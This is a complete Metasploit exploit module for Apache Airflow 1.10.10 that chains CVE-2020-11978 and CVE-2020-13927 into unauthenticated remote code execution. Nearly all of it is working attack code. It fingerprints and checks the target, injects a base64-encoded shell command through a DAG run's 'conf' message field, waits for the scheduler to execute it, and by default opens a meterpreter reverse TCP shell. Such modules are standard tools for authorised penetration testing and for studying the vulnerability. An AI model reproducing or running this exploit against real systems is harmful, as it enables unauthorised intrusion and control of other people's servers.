Apache Airflow 1.10.10 Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Apache Airflow 1.10.10 - Example DAG Remote Code Execution',        'Description' => %q{          This module exploits an unauthenticated command injection vulnerability          by combining two critical vulnerabilities in Apache Airflow 1.10.10.          The first, CVE-2020-11978, is an authenticated command injection vulnerability          found in one of Airflow's example DAGs, "example_trigger_target_dag", which          allows any authenticated user to run arbitrary OS commands as the user          running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default          setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's          Experimental REST API to perform malicious actions such as creating the          vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation          and command injection, leading to unauthenticated remote code execution.        },        'License' => MSF_LICENSE,        'Author' => [          'xuxiang',            # Original discovery and CVE submission          'Pepe Berba',         # ExploitDB author          'Ismail E. Dawoodjee' # Metasploit module author        ],        'References' => [          [ 'EDB', '49927' ],          [ 'CVE', '2020-11978' ],          [ 'CVE', '2020-13927' ],          [ 'URL', 'https://github.com/pberba/CVE-2020-11978/' ],          [ 'URL', 'https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx' ],          [ 'URL', 'https://lists.apache.org/thread/mq1bpqf3ztg1nhyc5qbrjobfrzttwx1d' ],        ],        'Platform' => ['linux', 'unix'],        'Arch' => ARCH_CMD,        'Targets' => [          [            'Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter_reverse_tcp' } }          ],        ],        'Privileged' => false,        'DisclosureDate' => '2020-07-14',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(8080, true, 'Apache Airflow webserver default port'),        OptString.new('TARGETURI', [ true, 'Base path', '/' ]),        OptString.new('DAG_PATH', [          true,          'Path to vulnerable example DAG',          '/api/experimental/dags/example_trigger_target_dag'        ]),        OptInt.new('TIMEOUT', [true, 'How long to wait for payload execution (seconds)', 120])      ]    )  end  def check    uri = normalize_uri(target_uri.path, 'admin', 'airflow', 'login')    vprint_status("Checking target web server for a response at: #{full_uri(uri)}")    res = send_request_cgi({      'method' => 'GET',      'uri' => uri    })    unless res      return CheckCode::Unknown('Target did not respond to check request.')    end    unless res.code == 200 &&           res.body.downcase.include?('admin') &&           res.body.downcase.include?('_csrf_token') &&           res.body.downcase.include?('sign in to airflow')      return CheckCode::Unknown('Target is not running Apache Airflow.')    end    vprint_good('Target is running Apache Airflow.')    vprint_status('Checking Apache Airflow version...')    version_number = res.body.to_s.scan(      %r{<a href="https://airflow[.]apache[.]org/docs/([\d.]+)"}    ).flatten.first    unless version_number      return CheckCode::Detected('Apache Airflow version cannot be determined.')    end    unless Rex::Version.new(version_number) < Rex::Version.new('1.10.11')      return CheckCode::Safe    end    vprint_status(      "Target is running Apache Airflow Version #{version_number}. " \      'Performing additional checks for exploitability...'    )    check_api    check_task    check_unpaused    return CheckCode::Appears  end  def check_api    uri = normalize_uri(target_uri.path, 'api', 'experimental', 'test')    vprint_status("Checking if Airflow Experimental REST API is accessible at: #{full_uri(uri)}")    res = send_request_cgi({      'method' => 'GET',      'uri' => uri    })    unless res && res.code == 200      return CheckCode::Safe('Could not access the Airflow Experimental REST API.')    end    vprint_good('Airflow Experimental REST API is accessible.')  end  def check_task    uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'tasks', 'bash_task')    vprint_status('Checking for vulnerability of "example_trigger_target_dag.bash_task"...')    res = send_request_cgi({      'method' => 'GET',      'uri' => uri    })    unless res && res.code == 200      return CheckCode::Safe(        'Could not find "example_trigger_target_dag.bash_task". ' \        'Target is not vulnerable to CVE-2020-11978.'      )    end    if res.get_json_document['env'].include?('dag_run')      return CheckCode::Safe(        'The "example_trigger_target_dag.bash_task" is patched. ' \        'Target is not vulnerable to CVE-2020-11978.'      )    end    vprint_good('The "example_trigger_target_dag.bash_task" is vulnerable.')  end  def check_unpaused    uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'paused', 'false')    vprint_status('Checking if "example_trigger_target_dag.bash_task" can be unpaused...')    res = send_request_cgi({      'method' => 'GET',      'uri' => uri    })    unless res && res.code == 200      return CheckCode::Safe(        'Could not unpause "example_trigger_target_dag.bash_task". ' \        'Example DAGs were not loaded.'      )    end    vprint_good('The "example_trigger_target_dag.bash_task" is unpaused.')  end  def create_dag(cmd)    cmd = "echo #{Base64.strict_encode64(cmd)} | base64 -d | sh"    uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'dag_runs')    vprint_status('Creating a new vulnerable DAG...')    res = send_request_cgi({      'method' => 'POST',      'uri' => uri,      'ctype' => 'application/json',      'data' => JSON.generate({ conf: { message: "\"; #{cmd};#" } })    })    unless res && res.code == 200      fail_with(Failure::PayloadFailed, 'Failed to create DAG.')    end    print_good("Successfully created DAG: #{res.get_json_document['message']}")    return res.get_json_document['execution_date']  end  def await_execution(execution_date)    uri = normalize_uri(      target_uri.path,      datastore['DAG_PATH'],      'dag_runs', execution_date, 'tasks', 'bash_task'    )    print_status('Waiting for Scheduler to run the vulnerable DAG. This might take a while...')    vprint_warning('If the Bash task is never queued, then the Scheduler might not be running.')    i = 0    loop do      i += 1      sleep(10)      res = send_request_cgi({        'method' => 'GET',        'uri' => uri      })      unless res && res.code == 200        fail_with(Failure::Unknown, 'Bash task state cannot be determined.')      end      state = res.get_json_document['state']      if state == 'queued'        print_status('Bash task is queued...')      elsif state == 'running'        print_good('Bash task is running. Expect a session if executed successfully.')        break      elsif state == 'success'        print_good('Successfully ran Bash task. Expect a session soon.')        break      elsif state == 'None'        print_warning('Bash task is not yet queued...')      elsif state == 'scheduled'        print_status('Bash task is scheduled...')      else        print_status("Bash task state: #{state}.")        break      end      # stop loop when timeout      next unless datastore['TIMEOUT'] <= 10 * i      fail_with(Failure::TimeoutExpired,                'Bash task did not run within the specified time ' \                "- #{datastore['TIMEOUT']} seconds.")    end  end  def exploit    print_status("Executing TARGET: \"#{target.name}\" with PAYLOAD: \"#{datastore['PAYLOAD']}\"")    execution_date = create_dag(payload.encoded)    await_execution(execution_date)  endend